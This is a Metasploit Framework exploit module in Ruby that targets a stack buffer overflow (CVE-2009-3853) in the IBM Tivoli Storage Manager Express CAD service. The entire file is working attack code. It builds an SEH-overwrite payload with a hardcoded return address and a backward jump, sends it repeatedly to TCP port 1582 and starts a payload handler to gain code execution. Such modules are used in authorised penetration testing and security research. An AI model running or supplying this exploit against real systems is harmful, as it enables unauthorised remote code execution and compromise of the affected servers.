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## # $Id: ibm_tsm_cad_ping.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service. By sending a "ping" packet containing a long string, an attacker can execute arbitrary code. NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order for the vulnerable code to be reached. This state doesn't appear to be reachable when the TSM server is not running. This service does not restart. }, 'Author' => [ 'jduck' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2009-3853' ], [ 'OSVDB', '59632' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Privileged' => true, 'Payload'=> { 'Space'=> 380, # offset to seh is 384 'BadChars' => '', # none! 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ # this target should be pretty universal.. # dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date.. [ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0 ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 04 2009')) register_options( [ Opt::RPORT(1582) ], self.class ) end def exploit print_status("Trying target %s..." % target.name) # wchar_t buf[64]; #print_status("Generating sploit data...") distance = payload_space + 8 backjmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string copy_len = distance + backjmp.length + (1024*3) sploit = [0,copy_len].pack('n*') sploit << payload.encoded sploit << generate_seh_record(target.ret) sploit << backjmp # force hitting end of the stack sploit << rand_text(1024) * 3 data = [sploit.length,0x26,0xa5].pack('nCC') data << sploit got_it = false while not got_it connect print_status("Sending nasty ping request...") sock.put(data) begin buf = sock.get_once(-1, 5) rescue print_status("Hrm, the service is probably in the wrong state, stand by...") disconnect select(nil, nil, nil, 5) next end got_it = true end print_status("Starting handler...") handler disconnect end end |
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